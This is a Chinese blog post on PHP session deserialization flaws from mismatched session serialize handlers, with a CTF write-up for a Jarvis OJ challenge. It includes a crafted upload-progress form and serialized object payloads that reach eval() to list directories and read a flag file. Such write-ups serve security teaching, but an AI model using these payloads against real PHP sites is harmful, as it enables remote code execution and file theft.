Session 反序列化

本文转自本人博客

漏洞介绍

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。

原因是未正确处理\’|\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\’|\’之前当作键名,\’|\’之后当作键值)。

$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';

例如上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

// var_dump($_SESSION);
array(1) {
  ["a:1:{s:4:"ryat";s:20:""]=>
  object(stdClass)#1 (0) {
  }
}

可以看到,通过注入 | 字符伪造了对象的序列化数据,成功实例化了 stdClass 对象

实际利用

i)当 session.auto_start=On 时:

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

//foo.php

if (ini_get('session.auto_start')) {
	session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

ii)当 session.auto_start=Off 时:

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
	var $hi;
	
	function __wakeup() {
		echo 'hi';
	}
	function __destruct() {
		echo $this->hi;
	}
}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 wakeup 方法和 destruct 方法

一道题目

题目链接:http://web.jarvisoj.com:32784/

源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

这里看到了__construct(),__destruct(),考的应该是反序列化,然后我们可以看到在__destruct()直接用eval()了,这里应该就是突破点了,但是,很难受的是$mdzz咋们控制不了...

魔法函数在php反序列化学过了

然后我们发现只要GET传入phpinfo,就可以知道php的信息,这个应该是想要告诉我们什么,又有

ini_set('session.serialize_handler', 'php');
session_start();

应该是和session反序列化相关,如果生成session和读取session的解析器不同,则产生任意对象注入,从而实现$mdzz可控,考点应该就是这样子的,但是...我们不能控制session啊...

这里就考到了另一个知识点了

当一个上传在处理中,同时 post 一个与ini设置的 session.uploadprogress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session,然后在session.uploadprogress.enabled开启的情况下会显示上传报告

看一下php.ini的几个参数吧

session.uploadprogress.enabled[=1] : 是否启用上传进度报告(默认开启session.uploadprogress.cleanup[=1] : 是否在上传完成后及时删除进度数据(默认开启
session.upload_progress.prefix = "upload_progress_"  
//当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 
//将表示为session中的键名

查看phpinfo(),可发现该题目session.uploadprogress.enabled[=1],session.uploadprogress.cleanup[=0],不会被清除,易操作

img

我们可以写一个表单,上传文件(POST),然后修改文件名来实现修改session

<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="emmmm" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

然后根据PHP反序列化的知识来构建payload

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'print_r(__FILE__);';
    }
    
    function __destruct()
    {
        //eval($this->mdzz);
    }
}

# 反序列化
$a = new OowoO;
$b = serialize($a);
// O:5:"OowoO":1:{s:4:"mdzz";s:18:"print_r(__FILE__);";} 

# 加上转义符防止"被转义,根据session的php处理器规则对payload进行处理
// |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:18:\"print_r(__FILE__);\";}

?>

|O:5:"OowoO":1:{s:4:"mdzz";s:18:"print_r(__FILE__);";}

可知文件在/opt/lampp/htdocs/

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}

发现Here_1s_7he_fl4g_buT_You_Cannot_see.php

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:84:\"echo file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php');\";}

img

如果session.uploadprogress.cleanup是打开的呢?我们怎么操作

可以使用条件竞争,占用资源防止其被清理

上传一个large and crash文件,来使得我们传入的data得以执行。

参考文章

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

http://www.91ri.org/15925.html

https://www.freebuf.com/column/199220.html

posted @ 2020-08-25 15:31  lz**  阅读(364)  评论(0编辑  收藏  举报
#